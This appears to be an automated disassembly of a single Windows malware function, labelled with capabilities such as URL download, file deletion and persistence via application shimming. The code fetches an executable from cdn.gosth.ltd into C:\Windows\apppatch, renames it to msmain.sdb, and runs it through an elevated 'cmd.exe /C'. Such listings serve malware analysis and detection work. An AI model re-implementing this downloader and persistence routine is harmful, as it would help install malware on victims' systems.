Function at 0x14000d520
Capabilities:
Create process on windows
Delete file
Download url
Move file
Persist via application shimming
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov rax, qword [0x1401aa0c0]
xor rax, rsp
mov qword [rbp + 0x3f], rax
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2f], xmm1
lea r8d, [r12 + 0x22]
lea rdx, str.https:__cdn.gosth.ltd_launcher.exe
lea rcx, [rbp + 0x1f]
call fcn.140016040
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x21], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x11], xmm1
lea r8d, [r12 + 0x20]
lea rdx, str.C:Windows_apppatchlauncher.exe
lea rcx, [rbp - 0x21]
call fcn.140016040
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
mov qword [rbp - 0x31], r12
mov qword [rbp - 0x29], r12
lea r8d, [r12 + 0x1e]
lea rdx, str.C:Windows_apppatchmsmain.sdb
lea rcx, [rbp - 0x41]
call fcn.140016040
nop
lea rcx, [rbp - 0x41]
cmp qword [rbp - 0x29], 7
cmova rcx, qword [rbp - 0x41]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x14000d802
lea r8, [rbp - 0x21]
cmp qword [rbp - 9], 7
cmova r8, qword [rbp - 0x21]
lea rdx, [rbp + 0x1f]
cmp qword [rbp + 0x37], 7
cmova rdx, qword [rbp + 0x1f]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x14000d7f9
lea rdx, [rbp - 0x41]
cmp qword [rbp - 0x29], 7
cmova rdx, qword [rbp - 0x41]
lea rcx, [rbp - 0x21]
cmp qword [rbp - 9], 7
cmova rcx, qword [rbp - 0x21]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x14000d7f0
mov rsi, qword [rbp - 0x31]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, rsi
cmp rax, 0xb
jb 0x14000d93e
lea r15, [rbp - 0x41]
cmp qword [rbp - 0x29], 7
cmova r15, qword [rbp - 0x41]
xorps xmm0, xmm0
movups xmmword [rbp - 1], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf], xmm1
lea r14, [rsi + 0xb]
mov edi, 7
lea rbx, [rbp - 1]
cmp r14, rdi
jbe 0x14000d720
mov rdi, r14
or rdi, 7
cmp rdi, rcx
jbe 0x14000d6af
mov rdi, rcx
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x14000d6de
mov eax, 0xa
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x14000d938
add rcx, rcx
cmp rcx, 0x1000
jb 0x14000d70a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000d938
mov rcx, rax
call fcn.14011c378
test rax, rax
je 0x14000d7e2
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14000d71c
test rcx, rcx
je 0x14000d719
call fcn.14011c378
mov rbx, rax
jmp 0x14000d71c
mov rbx, r12
mov qword [rbp - 1], rbx
mov qword [rbp + 0xf], r14
mov qword [rbp + 0x17], rdi
movups xmm0, xmmword [str.cmd.exe__C]
movups xmmword [rbx], xmm0
mov eax, dword [0x14018aec8]
mov dword [rbx + 0x10], eax
movzx eax, word [reloc.WLDAP32.dll_Ordinal_32]
mov word [rbx + 0x14], ax
lea rcx, [rbx + 0x16]
lea r8, [rsi + rsi]
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + r14*2], r12w
lea r9, [rbp - 1]
cmp qword [rbp + 0x17], 7
cmova r9, qword [rbp - 1]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r8, str.cmd.exe
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp rax, 0x20
ja 0x14000d7ab
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Erro
lea rdx, [0x14018aef0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rdx, qword [rbp + 0x17]
cmp rdx, 7
jbe 0x14000d81f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d7e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d7e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011c370
jmp 0x14000d81f
lea rdx, [0x14018ad20]
jmp 0x14000d809
lea rdx, [0x14018ad70]
jmp 0x14000d809
lea rdx, [0x14018adc0]
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Erro
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rbp - 0x29]
cmp rdx, 7
jbe 0x14000d862
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d85d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d85d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011c370
mov qword [rbp - 0x31], r12
mov qword [rbp - 0x29], 7
mov word [rbp - 0x41], r12w
mov rdx, qword [rbp - 9]
cmp rdx, 7
jbe 0x14000d8b6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d8b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d8b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011c370
movdqa xmm0, xmmword [0x140191540]
movdqu xmmword [rbp - 0x11], xmm0
mov word [rbp - 0x21], r12w
mov rdx, qword [rbp + 0x37]
cmp rdx, 7
jbe 0x14000d90b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d906
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d906
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011c370
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.14011c350
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140004cd0
nop
call fcn.140004d70
int3